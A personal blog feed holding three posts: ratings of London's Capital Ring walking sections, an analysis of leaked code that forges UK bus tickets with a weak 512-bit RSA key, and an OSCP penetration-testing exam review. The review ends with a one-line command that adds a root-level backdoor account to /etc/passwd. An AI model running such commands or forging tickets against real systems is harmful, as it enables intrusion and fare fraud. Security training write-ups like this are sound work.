<p>The <a href="https://tfl.gov.uk/modes/walking/capital-ring">TfL website</a> has official maps for the route, but I instead highly recommend <a href="https://www.colinsaunders.org.uk/capital-ring/">this guidebook</a> for detailed instructions and interesting historical facts. For extensive historical research, check out <a href="https://desdemoor.blogspot.com/p/capital-ringgreen-chain_21.html">this blog</a>.</p>
<p>On this page I’ve rated how much I liked each section together with good, bad, and unexpected moments encountered on them. I’ve aimed to walk each section at least twice in different weather conditions to ensure my final ratings are fair. The ratings reflect the experience of walking each section as a whole, i.e. does the section stand alone as a good walk from start to finish, or is it a bunch of bad walking linking together a couple of great parks.</p>
<p>I had the idea of recording the entire walk with a GoPro over a fine week, so I could perhaps relive the experience when I’m old/immobile, but it turns out that somebody else has <a href="https://www.youtube.com/channel/UCdSNOmShUL_KnkfhOs0W37Q/videos">already started doing that</a>.</p>
<h2 id="table-of-contents">Table of Contents</h2>
<table>
<thead>
<tr>
<th style="text-align: left">#</th>
<th style="text-align: left">Section</th>
<th style="text-align: left">Rating</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left">1</td>
<td style="text-align: left"><a href="#1">Woolwich to Falconwood</a></td>
<td style="text-align: left">8/10</td>
</tr>
<tr>
<td style="text-align: left">2</td>
<td style="text-align: left"><a href="#2">Falconwood to Grove Park</a></td>
<td style="text-align: left">6/10</td>
</tr>
<tr>
<td style="text-align: left">3</td>
<td style="text-align: left"><a href="#3">Grove Park to Crystal Palace</a></td>
<td style="text-align: left">3/10</td>
</tr>
<tr>
<td style="text-align: left">4</td>
<td style="text-align: left"><a href="#4">Crystal Palace to Streatham</a></td>
<td style="text-align: left">8/10</td>
</tr>
<tr>
<td style="text-align: left">5</td>
<td style="text-align: left"><a href="#5">Streatham to Wimbledon Park</a></td>
<td style="text-align: left">4/10</td>
</tr>
<tr>
<td style="text-align: left">6</td>
<td style="text-align: left"><a href="#6">Wimbledon Park to Richmond</a></td>
<td style="text-align: left">10/10</td>
</tr>
<tr>
<td style="text-align: left">7</td>
<td style="text-align: left"><a href="#7">Richmond to Osterley Lock</a></td>
<td style="text-align: left">7/10</td>
</tr>
<tr>
<td style="text-align: left">8</td>
<td style="text-align: left"><a href="#8">Osterley Lock to Greenford</a></td>
<td style="text-align: left">6/10</td>
</tr>
<tr>
<td style="text-align: left">9</td>
<td style="text-align: left"><a href="#9">Greenford to South Kenton</a></td>
<td style="text-align: left">9/10</td>
</tr>
<tr>
<td style="text-align: left">10</td>
<td style="text-align: left"><a href="#10">South Kenton to Hendon Park</a></td>
<td style="text-align: left">5/10</td>
</tr>
<tr>
<td style="text-align: left">11</td>
<td style="text-align: left"><a href="#11">Hendon Park to Highgate</a></td>
<td style="text-align: left">7/10</td>
</tr>
<tr>
<td style="text-align: left">12</td>
<td style="text-align: left"><a href="#12">Highgate to Stoke Newington</a></td>
<td style="text-align: left">3/10</td>
</tr>
<tr>
<td style="text-align: left">13</td>
<td style="text-align: left"><a href="#13">Stoke Newington to Hackney Wick</a></td>
<td style="text-align: left">7/10</td>
</tr>
<tr>
<td style="text-align: left">14</td>
<td style="text-align: left"><a href="#14">Hackney Wick to Beckton District Park</a></td>
<td style="text-align: left">6/10</td>
</tr>
<tr>
<td style="text-align: left">15</td>
<td style="text-align: left"><a href="#15">Beckton District Park to Woolwich</a></td>
<td style="text-align: left">8/10</td>
</tr>
</tbody>
</table>
<h2 id="-1---woolwich-to-falconwood"><a name="1"></a> 1 - Woolwich to Falconwood</h2>
<h4 id="rating-810">Rating: 8/10</h4>
<h4 id="the-good">The Good:</h4>
<p><img src="/assets/capital/1good.jpg" alt="" />
The Green Chain lives up to its name here, as after the Thames, virtually the entire section is spent in a set of connected parks and woodlands. The most impressive of these was Oxleas Wood, featuring the quaint Severndroog Castle with this stunning view behind it over Kent.</p>
<h4 id="the-bad">The Bad:</h4>
<p><img src="/assets/capital/1bad.jpg" alt="" />
I was shocked to see that the very first signpost points in completely the wrong direction! That photo was taken with my back to the river, and the Capital Ring sign pointing to Charlton Park would actually send you out east towards Thamesmead. Fortunately signage improves in later sections.</p>
<h4 id="the-unexpected">The Unexpected:</h4>
<p><img src="/assets/capital/1unexpected.jpg" alt="" />
The stretch down the Thames was tantalisingly short, peaceful, and interesting, it really made me want to do the <a href="https://tfl.gov.uk/modes/walking/thames-path">Thames Path</a> next.</p>
<h2 id="-2---falconwood-to-grove-park"><a name="2"></a> 2 - Falconwood to Grove Park</h2>
<h4 id="rating-610">Rating: 6/10</h4>
<h4 id="the-good-1">The Good:</h4>
<p><img src="/assets/capital/2good.jpg" alt="" />
Wide views and friendly horses at King John’s Walk behind Eltham Palace. And overall, a pleasant and quiet little section.</p>
<h4 id="the-bad-1">The Bad:</h4>
<p><img src="/assets/capital/2bad.jpg" alt="" />
Since the Capital Ring overlaps the Green Chain throughout this section, the signage is really good. In fact, it’s <em>too</em> good. At one point, I walked down the Green Chain for a while before I realised I’d diverged from the Capital Ring. Back on the path, each time I couldn’t see the next path marker within about 20 metres I was concerned I’d taken a wrong turn.</p>
<h4 id="the-unexpected-1">The Unexpected:</h4>
<p><img src="/assets/capital/2unexpected.jpg" alt="" />
I wonder what’s going on here? I was tempted to explore but thought better of it.</p>
<h2 id="-3---grove-park-to-crystal-palace"><a name="3"></a> 3 - Grove Park to Crystal Palace</h2>
<h4 id="rating-310">Rating: 3/10</h4>
<h4 id="the-good-2">The Good:</h4>
<p><img src="/assets/capital/3good.jpg" alt="" />
Crystal Palace Park is one of the best parks in London, with remnants of Victorian splendour, and something for everyone. This wonderful park’s last minute appearance just about rescues the section from an even lower rating. Beckenham Place Park is great too.</p>
<h4 id="the-bad-2">The Bad:</h4>
<p><img src="/assets/capital/3bad.jpg" alt="" />
Just after reading that Edith Nesbit (who wrote children’s novel <em>The Railway Children</em>) lived along this trainline, I was confronted with this ominous footbridge entrance with a gang of teenagers on top. The estate on the other side was unpleasant too, with two furious women cursing at a bunch of kids on BMX bikes. Perhaps I’m especially harsh on this area as I grew up in South-East London, but the first part of this section is simply not a nice walk and the second half is mostly dull.</p>
<h4 id="the-unexpected-2">The Unexpected:</h4>
<p><img src="/assets/capital/3unexpected.jpg" alt="" />
Beckenham Place Park is the most randomly entertaining park. Featuring a big mound of earth, a bizarre squirrel sculpture, and a small pond with a big “no swimming” sign.</p>
<h2 id="-4---crystal-palace-to-streatham"><a name="4"></a> 4 - Crystal Palace to Streatham</h2>
<h4 id="rating-810-1">Rating: 8/10</h4>
<h4 id="the-good-3">The Good:</h4>
<p><img src="/assets/capital/4good.jpg" alt="" />
This short but hilly section features a dazzling variety of green spaces, with Biggin Wood and Norwood Grove being highlights. The Rookery Gardens which is just off Streatham Common is beautiful and well worth a visit even though it’s not on the ring.</p>
<h4 id="the-bad-3">The Bad:</h4>
<p><img src="/assets/capital/4bad.jpg" alt="" />
There’s a couple parts on this section where you walk alongside really busy roads - first the A215, which to be fair does have a good view towards the Shard. Later, you need to wait for an agonising three sets of traffic lights to cross Streatham High Road.</p>
<h4 id="the-unexpected-3">The Unexpected:</h4>
<p><img src="/assets/capital/4unexpected.jpg" alt="" />
I was surprised at how worn out my legs felt afterwards, the rest of London is so flat that you rarely get a chance to exercise certain muscles which are hit harder here. Apparently Dickens Wood Close is where Charles Dickens stayed and wrote a lot of <em>David Copperfield</em>, but I’ve seen so many places which lay claim to Dickens’s legacy all over the country now I’m no longer convinced I should be impressed by it!</p>
<h2 id="-5---streatham-to-wimbledon-park"><a name="5"></a> 5 - Streatham to Wimbledon Park</h2>
<h4 id="rating-410">Rating: 4/10</h4>
<h4 id="the-good-4">The Good:</h4>
<p><img src="/assets/capital/5good.jpg" alt="" />
Du Cane Court is a magnificent monument to 1930s Art Deco. If only more buildings in the capital were like this rather than the endless rows of semi-detached and terraced homes we see throughout the ring, London’s housing affordability crisis wouldn’t be so severe.</p>
<h4 id="the-bad-4">The Bad:</h4>
<p><img src="/assets/capital/5bad.jpg" alt="" />
I haven’t measured it but this seems like the section where the most time is spent walking down residential roads (apart from maybe #3). That’s not to say that several of the roads aren’t pretty, but it feels like a lot of plumbing taking you to green spaces which are no match for those on the sections either side. Once you reach Wandsworth Common, the route inexplicably runs alongside the train line for most of it.</p>
<h4 id="the-unexpected-4">The Unexpected:</h4>
<p><img src="/assets/capital/5unexpected.jpg" alt="" />
A group of children were throwing their phones at birds around Wandsworth Common Pond. Just as I was walking past, one of the phones span and slid down this treacherously broken part of the boardwalk, dropping into the water, and causing sudden panic among the children. Hopefully, that will make them think twice before harming our feathered friends. And now for an on-topic comment: the atmosphere of Wandsworth Cemetery made it actually my favourite part of this section, but I didn’t want to be disrespectful by publishing a photo with visible names on the gravestones.</p>
<h2 id="-6---wimbledon-park-to-richmond"><a name="6"></a> 6 - Wimbledon Park to Richmond</h2>
<h4 id="rating-1010">Rating: 10/10</h4>
<h4 id="the-good-5">The Good:</h4>
<p><img src="/assets/capital/6good.jpg" alt="" />
This section is absolutely glorious, composed almost wholly of huge green spaces. From Wimbledon Park, through Putney Heath and Wimbledon Common, then Richmond Park and finally the Richmond riverside. Even the residential section in Wimbledon is interesting. Choosing a single highlight here is impossible.</p>
<h4 id="the-bad-5">The Bad:</h4>
<p><img src="/assets/capital/6bad.jpg" alt="" />
This careless Egyptian goose almost got knocked down by traffic in Richmond Park. You might have to wait a while to cross the A3 between Wimbledon Common and Richmond Park. In other words, I’m struggling to think of much genuinely wrong with this section.</p>
<h4 id="the-unexpected-5">The Unexpected:</h4>
<p><img src="/assets/capital/6unexpected.jpg" alt="" />
Much of the minor residential part of this walk is up Queensmere Road, a quiet avenue of luxurious modern homes. Queensmere House (pictured) used to hold prisoners of war during World War 2, but has been converted into luxury apartments. The Royal Star and Garter Home, a eye-catching building next to Richmond which used to house retired injured servicepeople, has also been turned into luxury apartments. Perhaps there’s nothing unexpected about this.</p>
<h2 id="-7---richmond-to-osterley-lock"><a name="7"></a> 7 - Richmond to Osterley Lock</h2>
<h4 id="rating-710">Rating: 7/10</h4>
<h4 id="the-good-6">The Good:</h4>
<p><img src="/assets/capital/7good.jpg" alt="" />
Old Isleworth is a strikingly peaceful place by the river, although it probably helps that I visited at a time when pubs were empty and the number of planes landing at Heathrow reduced. I even saw tiny children playing in the road.</p>
<h4 id="the-bad-6">The Bad:</h4>
<p><img src="/assets/capital/7bad.jpg" alt="" />
The pathway along the Grand Union Canal is narrow and some cyclists go too fast. Which sounds like a silly concern, but I overheard some ladies grumbling after almost getting hit. There’s industrial stuff happening to the left of the canal and the M4 on the right throughout, reminding you you are in a bustling capital city even when the first part of this section nearly made you forget that.</p>
<h4 id="the-unexpected-6">The Unexpected:</h4>
<p><img src="/assets/capital/7unexpected.jpg" alt="" />
GlaxoSmithKline’s glass monster of a global headquarters is right on the canal. It’s surprisingly quiet there too considering it’s below the A4, an effect that GSK help create by drowning out the engine roar with a noisy water feature.</p>
<h2 id="-8---osterley-lock-to-greenford"><a name="8"></a> 8 - Osterley Lock to Greenford</h2>
<h4 id="rating-610-1">Rating: 6/10</h4>
<h4 id="the-good-7">The Good:</h4>
<p><img src="/assets/capital/8good.jpg" alt="" />
Brent Lodge Park and the golf courses above it are very nice, reducing the monotony of walking alongside a canal or river which constitutes almost this entire section. The wider paths and lack of motorway nearby also make it better than the canal stretch of the last section.</p>
<h4 id="the-bad-7">The Bad:</h4>
<p><img src="/assets/capital/8bad.jpg" alt="" />
There is some misleading signage as you cross Ruislip Road East going into South Greenford. You’ve previously been following the River Brent on its east bank, and the marker post seems to indicate that you should continue doing so, but instead you take a sharp left, crossing the bridge and then go down a residential road that eventually takes you to Perivale Park. I was rescued by the guidebook here. Anyway, around this part of the section I was getting bored of walking along the River Brent, so this was a welcome change.</p>
<h4 id="the-unexpected-7">The Unexpected:</h4>
<p><img src="/assets/capital/8unexpected.jpg" alt="" />
Ealing Hospital which can be seen from the river is a horrific building even by hospital standards. Near it, there’s an especially high fence by the riverside, the kind you associate with prisons. Turns out this is a new secure unit of the hospital for treating mental health patients.</p>
<h2 id="-9---greenford-to-south-kenton"><a name="9"></a> 9 - Greenford to South Kenton</h2>
<h4 id="rating-910">Rating: 9/10</h4>
<h4 id="the-good-8">The Good:</h4>
<p><img src="/assets/capital/9good.jpg" alt="" />
Horsenden Hill has great views and is a welcome bit of hill-climbing after so much easy river- or canal-side walking. Overall this section is remarkably varied. Starting at Westway Shopping Park, you’d have no idea you’d soon be back on the Grand Union Canal (this time, the branch that goes to Paddington); then up a steep hill and down through lush woods; then on a high-street full of Polish delicatessens; through a nondescript residential area; before a remarkable visit to one of the UK’s most historic and exclusive public schools.</p>
<h4 id="the-bad-8">The Bad:</h4>
<p>?</p>
<h4 id="the-unexpected-8">The Unexpected:</h4>
<p><img src="/assets/capital/9unexpected.jpg" alt="" />
Harrow on the Hill is extraordinarily fancy. It also has incredible views towards central London. The school and surrounding houses give Oxford and Cambridge a run for their money.</p>
<h2 id="-10---south-kenton-to-hendon-park"><a name="10"></a> 10 - South Kenton to Hendon Park</h2>
<h4 id="rating-510">Rating: 5/10</h4>
<h4 id="the-good-9">The Good:</h4>
<p><img src="/assets/capital/10good.jpg" alt="" />
Fryent Country Park is fantastic, with fields, meadows, and hills that make you feel you’re in the countryside. Of course, Wembley Stadium’s enormous arch destroys the illusion, but I like how incongruous it appears reaching up above the horizon. If only the rest of the section was as good as this.</p>
<h4 id="the-bad-9">The Bad:</h4>
<p><img src="/assets/capital/10bad.jpg" alt="" />
At the beginning of the section, the residential part is decent enough as you are constantly sent down a different road, but at Hendon it becomes perhaps the dullest stretch of the Capital Ring so far. Three quarters of a mile is spent walking along the bog-standard suburban Park Road. I was starting to wonder why the ring doesn’t snake further south and then take you through Hampstead Heath, but found that there’s a lack of interesting routes that could get you there too.</p>
<h4 id="the-unexpected-9">The Unexpected:</h4>
<p><img src="/assets/capital/10unexpected.jpg" alt="" />
The most unexpected thing for me is how well this photo turned out. It was taken from a pedestrian bridge at Hendon Water that didn’t exist when my guidebook was published (2016), and seemed about as wide as the bridge that cars have to use, so a sweet little improvement for Capital Ring ramblers.</p>
<h2 id="-11---hendon-park-to-highgate"><a name="11"></a> 11 - Hendon Park to Highgate</h2>
<h4 id="rating-710-1">Rating: 7/10</h4>
<h4 id="the-good-10">The Good:</h4>
<p><img src="/assets/capital/11good.jpg" alt="" />
Despite being so near major roads, this section manages to spend most of its time in a chain of lovely green spaces following a stream called Mutton Brook, the best being Northway Gardens (pictured), and Highgate Wood. It helps that the surrounding area is so affluent and attractive.</p>
<h4 id="the-bad-10">The Bad:</h4>
<p><img src="/assets/capital/11bad.jpg" alt="" />
Much of the section is spent dancing around the unpleasant North Circular Road and A1.</p>
<h4 id="the-unexpected-10">The Unexpected:</h4>
<p><img src="/assets/capital/11unexpected.jpg" alt="" />
These odd abandoned conical buildings near the beginning look like something out of a fantasy world. Apparently they are all that remains of a hotel that was demolished in the 1970s.</p>
<h2 id="-12---highgate-to-stoke-newington"><a name="12"></a> 12 - Highgate to Stoke Newington</h2>
<h4 id="rating-310-1">Rating: 3/10</h4>
<h4 id="the-good-11">The Good:</h4>
<p><img src="/assets/capital/12good.jpg" alt="" />
Abney Park Cemetery is intriguing, featuring the graves of many famous people and an eerie atmosphere.</p>
<h4 id="the-bad-11">The Bad:</h4>
<p><img src="/assets/capital/12bad.jpg" alt="" />
After the novelty of the Parkland Walk wears off, it becomes less awesome as you realise you are never more than a few metres away from another walker, jogger, or cyclist. A similar criticism applies of the whole section. There are certainly several nice parts on this route (Finsbury Park, Stoke Newington’s reservoirs, Abney Park) but they’re just too busy to be truly enjoyable for me - which makes sense as it’s the part of the ring that’s closest to central London.</p>
<h4 id="the-unexpected-11">The Unexpected:</h4>
<p><img src="/assets/capital/12unexpected.jpg" alt="" />
The first part alongside the New River was an oasis of calm amidst such busy surroundings, and I was pleased to see not only my favourite birds, <a href="https://www.theguardian.com/environment/2013/nov/17/birdwatch-moorhen-beautiful-taken-granted">moorhens</a>, but also red-crested pochards. However, I soon realised why nobody else was walking along this bit: it was extremely muddy and required a heroic effort to pass without ruining my trousers.</p>
<h2 id="-13---stoke-newington-to-hackney-wick"><a name="13"></a> 13 - Stoke Newington to Hackney Wick</h2>
<h4 id="rating-710-2">Rating: 7/10</h4>
<h4 id="the-good-12">The Good:</h4>
<p><img src="/assets/capital/13good.jpg" alt="" />
The peaceful stretch along the River Lea next to Walthamstow Marshes is wonderful compared to the claustrophobic bustle of the previous section.</p>
<h4 id="the-bad-12">The Bad:</h4>
<p><img src="/assets/capital/13bad.jpg" alt="" />
There’s absolutely no signage instructing you to cross the river to North Millfields Recreation Ground, and on the other side the first marker you see would send you off the ring to Clapton overground station. I almost missed this crossing and was saved by an intuition that the opposite side of the river looked really nice so made more sense to be part of the ring.</p>
<h4 id="the-unexpected-12">The Unexpected:</h4>
<p><img src="/assets/capital/13unexpected.jpg" alt="" />
I’d heard that Stamford Hill had a large Jewish population, but I didn’t realise that just by walking down a few residential streets closer to Stoke Newington I would encounter hundreds of men in Hasidic garb. Since it would be rude to take a photo to demonstrate this, this screenshot from Google Street View of an nearby mosque converted from Victorian terrace houses will have to do showing the religious plurality in the area.</p>
<h2 id="-14---hackney-wick-to-beckton-district-park"><a name="14"></a> 14 - Hackney Wick to Beckton District Park</h2>
<h4 id="rating-610-2">Rating: 6/10</h4>
<h4 id="the-good-13">The Good:</h4>
<p><img src="/assets/capital/14good.jpg" alt="" />
The part of the Greenway east of Stratford high street has fantastic views. In general, this area has a completely different feel to anything seen so far; remarkably the area around London Stadium is still under heavy development. As a side note on Abbey Mills Pumping Station, I have to tip my hat to the Victorians for making critical infrastructure so visible and attractive rather than hiding it away like we do today.</p>
<h4 id="the-bad-13">The Bad:</h4>
<p><img src="/assets/capital/14bad.jpg" alt="" />
Around Plaistow the Greenway loses its lustre, and is chopped up into a number of smaller sections by roads which I had to wait a long time to cross.</p>
<h4 id="the-unexpected-13">The Unexpected:</h4>
<p><img src="/assets/capital/14unexpected.jpg" alt="" />
Beckton District Park is a surprisingly pretty park with a variety of unusual trees described by marker plates.</p>
<h2 id="-15---beckton-district-park-to-woolwich"><a name="15"></a> 15 - Beckton District Park to Woolwich</h2>
<h4 id="rating-810-2">Rating: 8/10</h4>
<h4 id="the-good-14">The Good:</h4>
<p><img src="/assets/capital/15good.jpg" alt="" />
This section has a unique atmosphere which I really appreciate. It feels like the edge of London even though it’s not - it’s Zone 3! Cyprus DLR station and the University of East London campus has distinctive eye-catching architecture.</p>
<h4 id="the-bad-14">The Bad:</h4>
<p><img src="/assets/capital/15bad.jpg" alt="" />
Cyclists racing through the Woolwich Foot Tunnel. More helpfully, I would say this enjoyment of this section is especially susceptible to weather conditions. In a calm and sunny day riverside walking is bliss, in cold and windy conditions it’s best avoided.</p>
<h4 id="the-unexpected-14">The Unexpected:</h4>
<p><img src="/assets/capital/15unexpected.jpg" alt="" />
I was unexpected at how thrilled I was to be reunited with the Thames, last seen at Richmond where the character of the surroundings was very different.</p>
Analysis of code to generate free public transportation tickets in UK2019-08-03T00:00:00+00:00http://laurencetennant.com/tickets<p>Yesterday while sipping my morning coffee I found an interesting post <a href="http://reddit.com/r/manchester/comments/cyefu5/activists_release_code_to_generate_free_public/">“Activists release code to generate free public transportation tickets”</a>. It links to a <a href="https://en.wikipedia.org/wiki/Tor_(anonymity_network)#Onion_services">Tor onion service</a> where the <em>“Public Transport Pirate Association of the United Kingdom”</em> claims to have reverse engineered transportation ticketing software of most major UK cities. The link was later removed, but was possible to recover using <a href="https://snew.notabug.io/r/all">Snew</a>.</p>
<p>The Pirate Association is “focus[ing] on the Greater Manchester area”, by reproducing the style of mobile tickets used in apps of major transport providers there. The apps were built by ticketing company <a href="https://www.corethree.net/">Corethree</a> which has a market share of <a href="https://www.route-one.net/news/corethree__connecting_the_ticketing_universe/">70% of the UK bus sector</a>. I decided to read through the code, learn how the tickets are generated and authorised, and try to understand the motivations behind this shadowy activist organisation.</p>
<h3 id="the-files">The files</h3>
<p>The activists provide for download an archive, <em>buspiraten_v1.0.zip</em>, and its corresponding <a href="https://aplawrence.com/Basics/gpg.html">GPG</a> signature. A GPG public key is displayed further down the page, along with a <a href="https://www.blockchain.com/btc/address/34tQaxCReTm4mpHYWhJubhiMuqM4f65JUF">Bitcoin address</a> which has received no donations so far.</p>
<p>The GPG signature doesn’t mean much at this point because the public key and downloads are all being served from the same untrusted page. However, if the activists release more in future, signatures can prove that later releases originated from the same source.</p>
<p>The main contents are two relatively modern and well-written JavaScript projects, which produce valid tickets for Transport for Greater Manchester and First Bus. The code is almost identical for both, with mostly cosmetic differences.</p>
<h3 id="code-demo">Code demo</h3>
<p><img src="/assets/ticket.gif" alt="" /></p>
<p><em>Yes, ‘WEED’ really is the word of the day</em></p>
<h3 id="code-review">Code review</h3>
<p>We first look at the library function which creates the large word and colourful animated background. A number which changes each 24 hours is appended to a hardcoded seed string. From this is derived one of 4 background colours and one of 256 four-letter words, which happens to be “orange-green” and “weed” today. This means that each day, every passenger’s ticket will display the same one of 1024 different combinations, facilitating visual verification by bus drivers and ticket inspectors.</p>
<p>The barcode, meanwhile, is formed of a bunch of different fields concatenated with some padding in between. The first field is a base64 string including name of the passenger and type of ticket, along with some binary data. Next is the timestamp the ticket was created (to second precision), and the timestamp that it will expire. The fields are signed using an included RSA key and this signature is appended. The barcode is then generated from all this data.</p>
<p>The activists say they pulled the private key straight out of the First Bus app, hinting that there was some form of obfuscation but it was easy to reverse. Note that it’s a tiny 512-bit key, so signature verification should be fast even on low-grade ticket reader hardware. However 512 bits of security in RSA is extremely insecure; even if you weren’t able to get the private key from the client app, you could easily factorise it out of the public key which is presumably stored in every ticket reader. These days a 512-bit RSA key takes <a href="https://crypto.stackexchange.com/questions/3931/is-512-bit-rsa-still-safe-for-signature-generation">around £50 to crack</a>, less than a train ticket from London to Manchester.</p>
<p>That’s pretty much the core of the apps. The rest is all frontend code, fonts and images to make them look as close to the real thing as possible.</p>
<h3 id="motivation">Motivation</h3>
<p>The Public Transport Pirate Association endorses two websites, <a href="http://www.freepublictransport.org.uk/">Free Public Transport</a>, a Manchester-based campaign, and <a href="https://planka.nu">Planka.nu</a>, a Swedish group which encourages people to fare-dodge and covers their fines if they get caught. Most of the campaign’s goals are reasonable enough, such as “defend and extend the availability and reliability of public transport”. The bigger and more controversial goal is that public transport should be free for all.</p>
<p>Wikipedia has a fairly positive article on <a href="https://en.wikipedia.org/wiki/Free_public_transport">free public transport</a>. Apparently Luxembourg is already committed to make all public transport free in March 2020. The main benefits are less pollution, better mobility for people on lower incomes, and faster boarding times.</p>
<p>On the other hand, it appears that there were mixed results when it was actually tried in the US, with an increase in driver complaints and staff turnover. Furthermore, how would free public transport be funded? The Wikipedia article on <a href="https://en.wikipedia.org/wiki/Farebox_recovery_ratio">farebox recovery ratio</a> is insightful, showing that most metro systems’ operating expenses are fully covered by their fares, so to make the London Underground free for instance, taxes would have to be raised to cover the ~£4bn costs.</p>
<h3 id="closing-thoughts">Closing thoughts</h3>
<p>While this release is giving <a href="https://www.telegraph.co.uk/technology/2019/09/03/public-transport-apps-hacked-create-free-tickets-defraud-operators/">exposure</a> to the cause of free public transport, surely very few people have both the skills and the nerve to try using the tickets in real life. For me the main takeaway is how much companies like Corethree cut corners, which shouldn’t be surprising—and yet it is because doing tickets right is literally their business. I wonder if they will invest a little more in their security after this.</p>
OSCP Review (+ tips)2019-06-12T00:00:00+00:00http://laurencetennant.com/oscp<p>Today I received notification from Offensive Security that I passed my <a href="https://en.wikipedia.org/wiki/Offensive_Security_Certified_Professional">OSCP</a> exam. I’ve spent the last two months absorbed in this hands-on penetration testing course, and want to share some things I’ve learned.</p>
<p>There are already many blogs describing the basic structure of the course so I won’t go into that. Instead I’m going to dive straight into describing my exam experience. Next I list useful tips and commands that I picked up along the way. I conclude with a somewhat philosophical take on why I think HackTheBox is a better learning foundation than OSCP.</p>
<h2 id="the-exam">The Exam</h2>
<p>Just before the 24 hour period began, I realised this would be the first exam I’d sat since my university finals. I felt that familiar mixture of excitement and dread going into it. I certainly didn’t want to spend the entire duration working; that would be a miserable experience. I planned to get as many points on the table, as soon as possible.</p>
<p>After completing the buffer overflow, I attacked the 10 point target. That worked out well, and it was a confidence boost to secure 35 out of the 70 points required to pass within an hour. Meanwhile, enumeration scripts were chugging away in the background, scanning the other three machines more and more deeply.</p>
<p>Getting shells on two of the remaining machines was exactly like the labs: read through the enumeration results, identify the vulnerable service, modify an exploit slightly and you’re in. The fifth machine was more interesting — several misconfigured services together provided the information required to gain a foothold. After that, the majority of my time was spent attempting to escalate privileges on two Windows machines, which was the most difficult part of the course for me.</p>
<h4 id="modern-machines">Modern Machines</h4>
<p>I was surprised to find that unlike the lab machines, the exam machines were all very modern. A common criticism of OSCP is that the vulnerabilities are outdated. I assume that Offensive Security are listening and are adding fresh exam machines which will eventually get rotated into the labs. All of the vulnerabilities that I encountered were reported within the last two years.</p>
<p>At first I felt unprepared for this, but if anything it made attacking the machines easier. If you’re attempting to escalate privileges on fully-patched Windows 10, you don’t need to bother searching for kernel exploits; you know that the weakness must lie elsewhere. In addition, downloading tools onto targets with a PowerShell oneliner is a lot more fun than using TFTP or VBScript. On the other hand, my heart sank when a technique that I thought was relatively state-of-the-art for attacking Windows, and that was definitely still valid in late 2018, simply didn’t work!</p>
<h4 id="proctoring">Proctoring</h4>
<p>I understand the necessity of introducing proctoring in the OSCP exam — a response to blatant cheating that was devaluing the qualification. However the proctoring software, <a href="https://en.wikipedia.org/wiki/ConnectWise_Control">ScreenConnect</a>, which allows the proctors to monitor your screen, caused some technical issues. It ate up 40-90% of one of my CPUs, and when the proctor asked me to restart the software, my system completely froze up, forcing me to reboot.</p>
<p>When a different proctor asked me to restart the software again later, I explained what happened last time and they were kind enough to let me off the hook. That was fortunate because when I closed the software at the end of the exam, it caused another hard lockup! ScreenConnect is a Java application that’s theoretically cross-plaform, but it appears to have poor Linux support. If I had to retake the exam, I’d grudgingly use Windows as my host system.</p>
<h2 id="tips">Tips</h2>
<h4 id="vm-workflow">VM workflow</h4>
<p>Kali ships with GNOME 3 as the desktop environment, but I believe XFCE is a much better choice inside a VM as it’s minimalistic, fast to navigate, and light on system resources. You can try XFCE by running <code class="language-plaintext highlighter-rouge">apt install xfce4 xfce4-goodies</code>, and selecting “Xfce Session” from the drop-down switcher at the top of the login screen. <strong>UPDATE</strong>: apparently great minds think alike, as <a href="https://www.kali.org/news/kali-linux-2019-4-release/">since November 2019</a>, XFCE is now the default desktop environment for Kali.</p>
<p><img src="/assets/kali_xfce.jpg" alt="" /></p>
<p>Using a terminal multiplexer such as <a href="https://en.wikipedia.org/wiki/Tmux">tmux</a> or <a href="https://en.wikipedia.org/wiki/GNU_Screen">screen</a> to organise your work pays dividends, especially in the exam. Keeping separate titled tabs for each machine you’re attacking helps you stay on track while switching between targets. By default, the Bash history and tmux scrollback buffers are small, so setting <code class="language-plaintext highlighter-rouge">set-option -g history-limit 50000</code> in your <code class="language-plaintext highlighter-rouge">~/.tmux.conf</code> and <code class="language-plaintext highlighter-rouge">HISTSIZE=</code> and <code class="language-plaintext highlighter-rouge">HISTFILESIZE=</code> in your <code class="language-plaintext highlighter-rouge">~/.bashrc</code> means that everything you do, you’ll be able to find again later.</p>
<p>For reasons that should be clear from my exam experience above, I recommend running <code class="language-plaintext highlighter-rouge">searchsploit --update</code> before the exam to bring your local copy of exploitdb up-to-date.</p>
<h4 id="buffer-overflow-scripts">Buffer Overflow Scripts</h4>
<p>Due to a set of scripts which guided me through the process, I completed the exam buffer overflow within half an hour. You can find the scripts <a href="https://github.com/hyperreality/OSCP-Buffer-Overflow-in-30-minutes">here</a>.</p>
<h4 id="compiling-old-kernel-exploits-for-linux">Compiling old kernel exploits for Linux</h4>
<p>Most of the lab machines are very old and kernel exploits for the 2.x kernel series won’t build on Kali. Pre-compiled exploits aren’t available in most cases.</p>
<p>For this reason I recommend grabbing a historical CentOS 5.x VM from <a href="https://virtualboxes.org/images/centos/">here</a>, and use it to compile the ancient exploits. You’ll have to fix the package repositories and setup SSH so that you can transfer files from the VM, but it’s worth it.</p>
<h4 id="compiling-python-exploits-for-windows">Compiling Python exploits for Windows</h4>
<p>I struggled to find an a good guide for doing this in Kali, but these steps seemed to work:</p>
<ul>
<li>Download a Python MSI from <a href="https://www.python.org/downloads/release/python-2715/">the official website</a>, and run:
<code class="language-plaintext highlighter-rouge">wine msiexec /i python-2.7.15.msi</code></li>
<li>Download pywin32 from <a href="https://github.com/mhammond/pywin32/releases">GitHub</a>, and run:
<code class="language-plaintext highlighter-rouge">wine pywin32-224.win32-py2.7.exe</code></li>
<li>Now you can compile a Python exploit into an executable with:
<code class="language-plaintext highlighter-rouge">wine c:/Python27/python.exe /var/lib/veil/PyInstaller-3.2.1/pyinstaller.py 27191.py --onefile</code>
It’ll be available in the ‘dist’ directory.</li>
</ul>
<h2 id="useful-commands">Useful Commands</h2>
<h4 id="the-only-rdp-command-you-need">The only RDP command you need</h4>
<p>This rdesktop command makes /var/www available to the Windows machine as a network share, enables clipboard sharing, and renders the window at a decent size:</p>
<p><code class="language-plaintext highlighter-rouge">rdesktop -g 85% -r disk:share=/var/www -r clipboard:CLIPBOARD -u username -p password 10.10.10.10</code></p>
<p>RDP then becomes less awkward when developing your buffer overflow exploit or performing post-exploitation.</p>
<h4 id="escalation-with-root-command-linux">Escalation with root command (Linux)</h4>
<p>The goal in the exams is to get a root shell on all the machines, so I made that my goal in the labs too. It’s often possible to read the proof.txt file without a root shell, but that’s not good enough in the exam.</p>
<p>When I found myself with the ability to run a command with root privileges, this was my go-to on Linux:</p>
<p><code class="language-plaintext highlighter-rouge">echo 'toor:aaKNIEDOaueR6:0:0:toor:/root:/bin/bash' >> /etc/passwd</code></p>
